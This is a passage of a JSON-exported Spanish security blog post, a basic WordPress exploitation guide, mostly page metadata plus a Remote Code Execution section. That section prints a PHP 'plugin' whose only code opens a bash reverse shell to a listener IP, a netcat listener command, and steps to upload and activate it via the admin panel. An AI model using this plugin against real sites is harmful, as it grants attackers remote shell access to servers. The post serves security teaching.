data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?fit=1549%2C376&amp;ssl=1\" data-orig-size=\"1549,376\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?fit=800%2C194&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?resize=800%2C194&#038;ssl=1\" alt=\"\" class=\"wp-image-3675\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?w=1549&amp;ssl=1 1549w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?resize=300%2C73&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?resize=768%2C186&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image.png?resize=1536%2C373&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez que hemos proporcionado el usuario y el diccionario que deseamos utilizar, la herramienta har\u00e1 el resto, proporcionando la contrase\u00f1a del usuario en caso de que el diccionario que estamos utilizando la contenga.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">4. Remote Code Execution<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Para esta parte, nos vamos a centrar principalmente en la instalaci\u00f3n de un plugin con &#8220;sorpresa&#8221;. Esto lo vamos a realizar subiendo una reverse shell en php a la instalaci\u00f3n de WordPress una vez hayamos conseguido acceso.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.1 Instalaci\u00f3n de Plugin WordPress con Reverse Shell<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">La reverse shell que vamos a utilizar, ser\u00e1, la bien conocida:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/**\n* Plugin Name: Reverse Shell Plugin\n* Plugin URI:\n* Description: Reverse Shell Plugin\n* Version: 1.0\n* Author: Vince Matteo\n* Author URI: http:\/\/www.sevenlayers.com\n*\/\nexec(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/192.168.86.99\/443 0&gt;&amp;1'\");\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez tengamos descargado el c\u00f3digo PHP, lo que realizaremos en primera instancia, ser\u00e1, reemplazar la siguiente configuraci\u00f3n en relaci\u00f3n a la IP de escucha y puerto:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"335\" data-attachment-id=\"3682\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-7-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-7.png?fit=643%2C335&amp;ssl=1\" data-orig-size=\"643,335\" data-comments-opened=\"1\" data-image-title=\"image-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-7.png?fit=643%2C335&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-7.png?resize=643%2C335&#038;ssl=1\" alt=\"\" class=\"wp-image-3682\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-7.png?w=643&amp;ssl=1 643w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-7.png?resize=300%2C156&amp;ssl=1 300w\" sizes=\"(max-width: 643px) 100vw, 643px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">El siguiente paso, ser\u00e1, establecer nuestro servidor de escucha con netcat:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nc -nlvp 4444<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"522\" height=\"103\" data-attachment-id=\"3678\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-3-10\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-3.png?fit=522%2C103&amp;ssl=1\" data-orig-size=\"522,103\" data-comments-opened=\"1\" data-image-title=\"image-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-3.png?fit=522%2C103&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-3.png?resize=522%2C103&#038;ssl=1\" alt=\"\" class=\"wp-image-3678\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-3.png?w=522&amp;ssl=1 522w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-3.png?resize=300%2C59&amp;ssl=1 300w\" sizes=\"(max-width: 522px) 100vw, 522px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Ahora, a trav\u00e9s del panel de administraci\u00f3n de WordPess, desde la secci\u00f3n de &#8220;Plugins&#8221; vamos a subir la reverse shell en formato ZIP:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"265\" data-attachment-id=\"3679\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-4-10\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?fit=1556%2C515&amp;ssl=1\" data-orig-size=\"1556,515\" data-comments-opened=\"1\" data-image-title=\"image-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?fit=800%2C265&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?resize=800%2C265&#038;ssl=1\" alt=\"\" class=\"wp-image-3679\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?w=1556&amp;ssl=1 1556w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?resize=300%2C99&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?resize=768%2C254&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-4.png?resize=1536%2C508&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Al subir nuestra reverse shell, podemos instalar el &#8220;Plugin&#8221;:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"250\" data-attachment-id=\"3681\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-6-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?fit=931%2C291&amp;ssl=1\" data-orig-size=\"931,291\" data-comments-opened=\"1\" data-image-title=\"image-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?fit=800%2C250&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?resize=800%2C250&#038;ssl=1\" alt=\"\" class=\"wp-image-3681\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?w=931&amp;ssl=1 931w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?resize=300%2C94&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-6.png?resize=768%2C240&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Cuando tengamos el plugin instalado, veremos el mensaje &#8220;Plugin instalado correctamente&#8221;, donde pulsaremos en activar plugin:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"271\" data-attachment-id=\"3683\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-8-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?fit=1065%2C361&amp;ssl=1\" data-orig-size=\"1065,361\" data-comments-opened=\"1\" data-image-title=\"image-8\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?fit=800%2C271&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?resize=800%2C271&#038;ssl=1\" alt=\"\" class=\"wp-image-3683\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?w=1065&amp;ssl=1 1065w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?resize=300%2C102&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-8.png?resize=768%2C260&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez activado, recibiremos nuestra reverse shell:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"722\" height=\"238\" data-attachment-id=\"3684\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-9-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-9.png?fit=722%2C238&amp;ssl=1\" data-orig-size=\"722,238\" data-comments-opened=\"1\" data-image-title=\"image-9\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-9.png?fit=722%2C238&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-9.png?resize=722%2C238&#038;ssl=1\" alt=\"\" class=\"wp-image-3684\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-9.png?w=722&amp;ssl=1 722w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/03\/image-9.png?resize=300%2C99&amp;ssl=1 300w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">5. V\u00eddeo<\/h2>\n\n\n\n<figure class=\"wp-block-embed aligncenter is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<span class=\"embed-youtube\" style=\"text-align:center; display: block;\"><iframe class=\"youtube-player\" title=\"YouTube video player\" width=\"800\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/h95SrDRGkgQ?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\"><\/iframe><\/span>\n<\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">6. Conclusi\u00f3n<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">En este recorrido por WordPress, hemos desglosado desde la funcionalidad clave de XML-RPC hasta las estrategias para fortificar nuestros sitios frente a amenazas cibern\u00e9ticas. La conclusi\u00f3n es clara: la gesti\u00f3n de un sitio WordPress requiere una vigilancia t\u00e9cnica constante y una implementaci\u00f3n proactiva de medidas de seguridad.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Recordemos, mantener un sitio WordPress optimizado y seguro va m\u00e1s all\u00e1 de simples actualizaciones; implica una comprensi\u00f3n t\u00e9cnica de los potenciales vectores de ataque y la aplicaci\u00f3n de pr\u00e1cticas avanzadas de seguridad, como la minimizaci\u00f3n de permisos, la autenticaci\u00f3n de dos factores y el escaneo regular de vulnerabilidades.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As\u00ed, mientras WordPress ofrece una plataforma robusta y flexible para el desarrollo web, su seguridad depende en gran medida de nuestro compromiso y conocimiento t\u00e9cnico. Adelante, entonces, con la tarea de asegurar nuestros sitios, aplicando lo \u00faltimo en tecnolog\u00eda de seguridad para mantenerlos no solo funcionales, sino tambi\u00e9n blindados contra las amenazas m\u00e1s sofisticadas del ciberespacio.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd12\u00a0<strong><a href=\"https:\/\/hardsoftsecurity.es\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hardsoft Security<\/a><\/strong>\u00a0ofrece servicios de consultor\u00eda en ciberseguridad, asegurando que tu negocio est\u00e9 siempre protegido contra las amenazas m\u00e1s recientes. Ayudamos a mantener seguro tu sitio web con las mejores pr\u00e1cicas de ciberseguridad con nuestro asesoramiento en ciberseguridad especializado.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No esperes a ser el pr\u00f3ximo objetivo. Asegura tu presencia online con las mejores soluciones y servicios del mercado. \u00a1Contacta con\u00a0<strong><a href=\"https:\/\/hardsoftsecurity.es\/index.php\/contacta-con-nosotros-2\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hardsoft Security<\/a><\/strong> hoy mismo!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a1Hola a todos! Hoy vamos a meternos en el mundo de WordPress con este nuevo post &#8220;Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica&#8221;, pero desde una perspectiva un poco diferente. &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3655,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":false,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[515,519,517,523,521,516,524,522,518,520],"class_list":["post-3654","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-adminwp","tag-ciberseguridad-2","tag-desarrolloweb","tag-guiadeexplotacion","tag-hackingwordpress","tag-protecciondigital","tag-seguridadinformatica-2","tag-seguridadweb","tag-tecnologia","tag-wordpress-2"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2024-04-02T19:33:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-01-12T18:19:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"2000\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica\",\"datePublished\":\"2024-04-02T19:33:15+00:00\",\"dateModified\":\"2025-01-12T18:19:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/\"},\"wordCount\":1437,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/image.png?fit=2000%2C1080&ssl=1\",\"keywords\":[\"#AdminWP\",\"#Ciberseguridad\",\"#DesarrolloWeb\",\"#Gu\u00edaDeExplotaci\u00f3n\",\"#HackingWordPress\",\"#Protecci\u00f3nDigital\",\"#SeguridadInform\u00e1tica\",\"#SeguridadWeb\",\"#Tecnolog\u00eda\",\"#WordPress\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/\",\"name\":\"Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/image.png?fit=2000%2C1080&ssl=1\",\"datePublished\":\"2024-04-02T19:33:15+00:00\",\"dateModified\":\"2025-01-12T18:19:01+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/image.png?fit=2000%2C1080&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/image.png?fit=2000%2C1080&ssl=1\",\"width\":2000,\"height\":1080},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/04\\\/02\\\/hacking-wordpress-guia-de-explotacion-basica\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft Security","description":"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/","og_locale":"es_ES","og_type":"article","og_title":"Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft Security","og_description":"Aprende las t\u00e9cnicas de Hacking WordPress de la mano de esta gu\u00eda de explotaci\u00f3n b\u00e1sica con Hardsoft Security Blog.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2024-04-02T19:33:15+00:00","article_modified_time":"2025-01-12T18:19:01+00:00","og_image":[{"width":2000,"height":1080,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"10 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica","datePublished":"2024-04-02T19:33:15+00:00","dateModified":"2025-01-12T18:19:01+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/"},"wordCount":1437,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&ssl=1","keywords":["#AdminWP","#Ciberseguridad","#DesarrolloWeb","#Gu\u00edaDeExplotaci\u00f3n","#HackingWordPress","#Protecci\u00f3nDigital","#SeguridadInform\u00e1tica","#SeguridadWeb","#Tecnolog\u00eda","#WordPress"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/","name":"Hacking Wordpress - Gu\u00eda de explotaci\u00f3n b\u00e1sica - Hardsoft 